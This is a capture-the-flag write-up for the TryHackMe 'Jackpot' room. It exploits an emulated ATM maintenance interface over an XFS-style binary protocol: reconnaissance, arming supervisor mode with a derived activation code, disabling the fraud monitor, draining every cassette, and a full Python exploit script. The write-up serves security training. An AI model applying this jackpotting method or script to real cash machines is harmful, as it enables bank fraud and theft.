TryHackMe — Jackpot Writeup
Difficulty: Medium
Category: Protocol Reversing / Hardware Emulation
Scenario
A branch ATM at “Earth’s National Bank” was pulled for forensic review after unexplained cash-outs. Its maintenance interface — meant only for engineers on the branch LAN — was left reachable and speaks the machine’s native hardware language (XFS) with no real authentication. We need to convince it to empty every cassette and hand over the flag.
1. Reconnaissance
Port Scan
nmap -sV <TARGET_IP>PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
8080/tcp open http BaseHTTPServer 0.6 (Python 3.12.3)
9100/tcp open jetdirect?Three ports. Port 8080 looks like a web console; port 9100 is normally a printer port, but here it’s almost certainly the “native hardware language” the brief mentioned.
Web console (port 8080)
Hitting http://<TARGET_IP>:8080/ returns an engineering console page. It polls a /status endpoint:
curl -s http://<TARGET_IP>:8080/status | python3 -m json.tool{
"nonce": "<SESSION_CODE>",
"armed": false,
"monitor_on": true,
"locked": false,
"screen": "INSERT CARD",
"dispensed_total": 0,
"remaining_notes": <N>,
"vault_total_notes": <N>,
"cassettes": [
{"id": "CST1", "denom": 10, "count": <n>},
{"id": "CST2", "denom": 20, "count": <n>},
{"id": "CST3", "denom": 50, "count": <n>},
{"id": "CST4", "denom": 100, "count": <n>}
],
"flag_released": false
}Key fields: nonce (session code), armed (supervisor mode), monitor_on (fraud monitor), flag_released.
Get SaGar Shahani’s stories in your inbox
Join Medium for free to get updates from this writer.
The page also offers a downloadable service tool:
curl -O http://<TARGET_IP>:8080/jackpot
chmod +x jackpotDead end on 8080
The server is GET-only. POST returns:
HTTP/1.0 501 Unsupported method ('POST')And every path returns the same HTML page (catch-all handler), so the whole arm/dispense flow must live on port 9100.
2. The XFS Bridge (port 9100)
Connecting with nc reveals a framed binary protocol:
nc -nv <TARGET_IP> 9100{
"service": "Branch Engineering Gateway",
"protocol": "XFS bridge",
"request_format": "1 byte msg_type + 4 byte big-endian command id + 2 byte big-endian length + <length> bytes of data",
"reply_format": "2 byte big-endian length + <length> bytes of JSON",
"msg_types": {"GETINFO": "0x01", "EXECUTE": "0x02"},
"hint": "query command 0x0304 (WFS_INF_CDM_CAPABILITIES) with msg_type GETINFO for the full command table"
}The banner conveniently tells us the framing, message types, and even hints at a capabilities command. Let’s write a small helper script to talk to it.
Enumerate capabilities
Send GETINFO (0x01) for command 0x0304 with no data:
import socket, struct, json
def recv_msg(s):
hdr = b""
while len(hdr) < 2:
hdr += s.recv(2 - len(hdr))
n = struct.unpack(">H", hdr)[0]
data = b""
while len(data) < n:
data += s.recv(n - len(data))
return data
s = socket.create_connection(("<TARGET_IP>", 9100), timeout=5)
recv_msg(s) # banner
req = bytes([0x01]) + struct.pack(">I", 0x0304) + struct.pack(">H", 0)
s.sendall(req)
print(json.dumps(json.loads(recv_msg(s)), indent=2))Response:
{
"rc": "WFS_SUCCESS",
"device_class": "CDM",
"commands": {
"WFS_INF_CDM_STATUS": "0x301",
"WFS_INF_CDM_CASH_UNIT_INFO": "0x303",
"WFS_INF_CDM_CAPABILITIES": "0x304",
"WFS_CMD_CDM_DISPENSE": "0x401",
"WFS_CMD_CDM_ARM": "0x4f0",
"WFS_CMD_CDM_SET_MONITOR": "0x4f1",
"WFS_CMD_CDM_GET_FLAG": "0x4ff"
},
"max_dispense": 40
}We now have everything:
0x4f0— ARM (supervisor mode)0x4f1— SET_MONITOR (turn off fraud monitor)0x401— DISPENSE (max 40 notes per call)0x4ff— GET_FLAG
3. Deriving the Activation Code
The console told us the service tool “derives a supervisor activation code from the session code.” We have the tool and the nonce:
./jackpot <SESSION_CODE>[*] session nonce : <SESSION_CODE>
[*] activation code: <ACTIVATION_CODE>If you want to reverse it: strings jackpot shows ENBANK and the %08u format — the algorithm is a simple transform of the nonce using that key. Running the tool is enough for the CTF.
4. Arming Supervisor Mode
Send EXECUTE (0x02) on command 0x4f0 with a payload. JSON wrapping returns WFS_ERR_CDM_INVALIDCODE, but the raw activation string works:
def cmd(s, msg_type, cmd_id, payload=b""):
req = bytes([msg_type]) + struct.pack(">I", cmd_id) + struct.pack(">H", len(payload)) + payload
s.sendall(req)
return json.loads(recv_msg(s))
print(cmd(s, 0x02, 0x4f0, b"<ACTIVATION_CODE>")){"rc": "WFS_SUCCESS", "detail": "armed - supervisor mode"}5. Disabling the Fraud Monitor
print(cmd(s, 0x02, 0x4f1, b"0")){"rc": "WFS_SUCCESS", "monitor_on": false}Without this, dispensing triggers the monitor and the terminal locks. Always kill the monitor first.
6. Draining the Cassettes
The dispense handler ignores our cassette/count fields and simply dumps max_dispense (40) notes per call, starting from the lowest denomination. Keep calling until remaining_notes hits 0:
while True:
r = cmd(s, 0x02, 0x401, b'{"cassette":"CST1","count":1}')
print("DISPENSE:", r)
if r.get("remaining_notes", 0) == 0:
breakFinal dispense returns:
{"notes": 40, "remaining_notes": 0,
"detail": "vault empty - cashout proven; GET_FLAG now available"}Status confirms the vault is empty and the flag has been released:
"dispensed_total": <TOTAL>,
"remaining_notes": 0,
"flag_released": true7. Retrieving the Flag
print(json.dumps(cmd(s, 0x02, 0x4ff), indent=2))
{
"rc": "WFS_SUCCESS",
"flag": "<FLAG>"
}Full Exploit Script
#!/usr/bin/env python3
import socket, struct, json, sys
HOST, PORT = "<TARGET_IP>", 9100
ACTIVATION_CODE = b"<ACTIVATION_CODE>"
def recv_msg(s):
hdr = b""
while len(hdr) < 2:
hdr += s.recv(2 - len(hdr))
n = struct.unpack(">H", hdr)[0]
data = b""
while len(data) < n:
data += s.recv(n - len(data))
return data
def connect():
s = socket.create_connection((HOST, PORT), timeout=5)
recv_msg(s) # banner
return s
def cmd(s, msg_type, cmd_id, payload=b""):
req = bytes([msg_type]) + struct.pack(">I", cmd_id) + struct.pack(">H", len(payload)) + payload
s.sendall(req)
return json.loads(recv_msg(s))
if __name__ == "__main__":
s = connect()
print("ARM:", cmd(s, 0x02, 0x4f0, ACTIVATION_CODE))
print("MON OFF:", cmd(s, 0x02, 0x4f1, b"0"))
while True:
r = cmd(s, 0x02, 0x401, b"{}")
print("DISPENSE:", r)
if r.get("remaining_notes", 0) == 0:
break
print("FLAG:", cmd(s, 0x02, 0x4ff))
s.close()Flag
THM{n0_car_REDUCTED}








